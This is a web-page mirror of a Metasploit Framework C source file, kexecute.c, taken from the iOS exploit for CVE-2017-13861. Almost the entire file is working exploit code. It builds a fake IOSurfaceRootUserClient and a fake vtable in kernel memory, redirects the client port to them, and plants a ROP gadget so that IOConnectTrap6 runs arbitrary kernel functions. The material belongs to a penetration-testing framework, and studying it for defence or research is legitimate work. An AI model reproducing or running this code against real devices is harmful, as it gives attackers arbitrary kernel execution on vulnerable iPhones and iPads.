CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/external/source/exploits/CVE-2017-13861/kexecute.c
Views: 11778
1
2
#import <pthread.h>
3
#import "kernel_utils.h"
4
#import "kexecute.h"
5
#import "patchfinder64.h"
6
#import "offsetof.h"
7
#import "find_port.h"
8
#import <IOKit/IOKitLib.h>
9
10
mach_port_t PrepareUserClient(void) {
11
kern_return_t err;
12
mach_port_t UserClient;
13
io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("IOSurfaceRoot"));
14
15
if (service == IO_OBJECT_NULL){
16
printf(" [-] unable to find service\n");
17
exit(EXIT_FAILURE);
18
}
19
20
err = IOServiceOpen(service, mach_task_self(), 0, &UserClient);
21
if (err != KERN_SUCCESS){
22
printf(" [-] unable to get user client connection\n");
23
exit(EXIT_FAILURE);
24
}
25
26
27
//
28
printf("[+] kexecute: got user client: 0x%x\n", UserClient);
29
return UserClient;
30
}
31
32
// TODO: Consider removing this - jailbreakd runs all kernel ops on the main thread
33
pthread_mutex_t kexecuteLock;
34
static mach_port_t UserClient;
35
static uint64_t IOSurfaceRootUserClient_Port;
36
static uint64_t IOSurfaceRootUserClient_Addr;
37
static uint64_t FakeVtable;
38
static uint64_t FakeClient;
39
const int fake_Kernel_alloc_size = 0x1000;
40
41
void init_Kernel_Execute(void) {
42
UserClient = PrepareUserClient();
43
44
// From v0rtex - get the IOSurfaceRootUserClient port, and then the address of the actual client, and vtable
45
IOSurfaceRootUserClient_Port = find_port_via_kmem_read(UserClient); // UserClients are just mach_ports, so we find its address
46
47
//printf("Found port: 0x%llx\n", IOSurfaceRootUserClient_Port);
48
49
IOSurfaceRootUserClient_Addr = KernelRead_64bits(IOSurfaceRootUserClient_Port + off_ip_kobject); // The UserClient itself (the C++ object) is at the kobject field
50
//
51
//printf("Found addr: 0x%llx\n", IOSurfaceRootUserClient_Addr);
52
53
uint64_t IOSurfaceRootUserClient_vtab = KernelRead_64bits(IOSurfaceRootUserClient_Addr); // vtables in C++ are at *object
54
//
55
//printf("Found vtab: 0x%llx\n", IOSurfaceRootUserClient_vtab);
56
57
// The aim is to create a fake client, with a fake vtable, and overwrite the existing client with the fake one
58
// Once we do that, we can use IOConnectTrap6 to call functions in the kernel as the kernel
59
60
61
// Create the vtable in the kernel memory, then copy the existing vtable into there
62
FakeVtable = Kernel_alloc(fake_Kernel_alloc_size);
63
//
64
//printf("Created FakeVtable at %016llx\n", FakeVtable);
65
66
for (int i = 0; i < 0x200; i++) {
67
KernelWrite_64bits(FakeVtable+i*8, KernelRead_64bits(IOSurfaceRootUserClient_vtab+i*8));
68
}
69
70
//
71
//printf("Copied some of the vtable over\n");
72
73
// Create the fake user client
74
FakeClient = Kernel_alloc(fake_Kernel_alloc_size);
75
//
76
//printf("Created FakeClient at %016llx\n", FakeClient);
77
78
for (int i = 0; i < 0x200; i++) {
79
KernelWrite_64bits(FakeClient+i*8, KernelRead_64bits(IOSurfaceRootUserClient_Addr+i*8));
80
}
81
82
//
83
//printf("Copied the user client over\n");
84
85
// Write our fake vtable into the fake user client
86
KernelWrite_64bits(FakeClient, FakeVtable);
87
88
// Replace the user client with ours
89
KernelWrite_64bits(IOSurfaceRootUserClient_Port + off_ip_kobject, FakeClient);
90
91
// Now the userclient port we have will look into our fake user client rather than the old one
92
93
// Replace IOUserClient::getExternalTrapForIndex with our ROP gadget (add x0, x0, #0x40; ret;)
94
KernelWrite_64bits(FakeVtable+8*0xB7, Find_add_x0_x0_0x40_ret());
95
96
//
97
//printf("Wrote the `add x0, x0, #0x40; ret;` gadget over getExternalTrapForIndex");
98
99
pthread_mutex_init(&kexecuteLock, NULL);
100
}
101
102
void term_Kernel_Execute(void) {
103
KernelWrite_64bits(IOSurfaceRootUserClient_Port + off_ip_kobject, IOSurfaceRootUserClient_Addr);
104
Kernel_free(FakeVtable, fake_Kernel_alloc_size);
105
Kernel_free(FakeClient, fake_Kernel_alloc_size);
106
}
107
108
uint64_t Kernel_Execute(uint64_t addr, uint64_t x0, uint64_t x1, uint64_t x2, uint64_t x3, uint64_t x4, uint64_t x5, uint64_t x6) {
109
pthread_mutex_lock(&kexecuteLock);
110
111
// When calling IOConnectTrapX, this makes a call to iokit_UserClient_trap, which is the user->kernel call (MIG). This then calls IOUserClient::getTargetAndTrapForIndex
112
// to get the trap struct (which contains an object and the function pointer itself). This function calls IOUserClient::getExternalTrapForIndex, which is expected to return a trap.
113
// This jumps to our gadget, which returns +0x40 into our fake UserClient, which we can modify. The function is then called on the object. But how C++ actually works is that the
114
// function is called with the first arguement being the object (referenced as `this`). Because of that, the first argument of any function we call is the object, and everything else is passed
115
// through like normal.
116
117
// Because the gadget gets the trap at UserClient+0x40, we have to overwrite the contents of it
118
// We will pull a switch when doing so - retrieve the current contents, call the trap, put back the contents
119
// (i'm not actually sure if the switch back is necessary but meh)
120
121
uint64_t offx20 = KernelRead_64bits(FakeClient+0x40);
122
uint64_t offx28 = KernelRead_64bits(FakeClient+0x48);
123
KernelWrite_64bits(FakeClient+0x40, x0);
124
KernelWrite_64bits(FakeClient+0x48, addr);
125
uint64_t returnval = IOConnectTrap6(UserClient, 0, (uint64_t)(x1), (uint64_t)(x2), (uint64_t)(x3), (uint64_t)(x4), (uint64_t)(x5), (uint64_t)(x6));
126
KernelWrite_64bits(FakeClient+0x40, offx20);
127
KernelWrite_64bits(FakeClient+0x48, offx28);
128
129
pthread_mutex_unlock(&kexecuteLock);
130
131
return returnval;
132
}
133
134